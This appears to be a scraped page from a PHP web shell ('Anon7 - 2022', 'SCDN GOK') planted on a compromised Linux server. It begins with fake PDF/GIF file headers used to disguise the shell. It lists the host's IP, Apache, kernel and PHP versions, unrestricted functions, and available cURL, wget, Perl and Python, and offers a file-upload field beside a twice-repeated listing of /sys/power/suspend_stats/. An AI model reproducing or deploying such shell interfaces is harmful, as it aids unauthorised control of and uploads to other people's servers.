| .. | |||||
| fail | |||||
| failed_freeze | |||||
| failed_prepare | |||||
| failed_resume | |||||
| failed_resume_early | |||||
| failed_resume_noirq | |||||
| failed_suspend | |||||
| failed_suspend_late | |||||
| failed_suspend_noirq | |||||
| last_failed_dev | |||||
| last_failed_errno | |||||
| last_failed_step | |||||
| success |
Anon7 - 2022
SCDN GOK
%PDF-1.7 GIF89;
| Server IP : 172.66.157.178 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /sys/power/suspend_stats/ |
Upload File : |
| .. | |||||
| fail | |||||
| failed_freeze | |||||
| failed_prepare | |||||
| failed_resume | |||||
| failed_resume_early | |||||
| failed_resume_noirq | |||||
| failed_suspend | |||||
| failed_suspend_late | |||||
| failed_suspend_noirq | |||||
| last_failed_dev | |||||
| last_failed_errno | |||||
| last_failed_step | |||||
| success |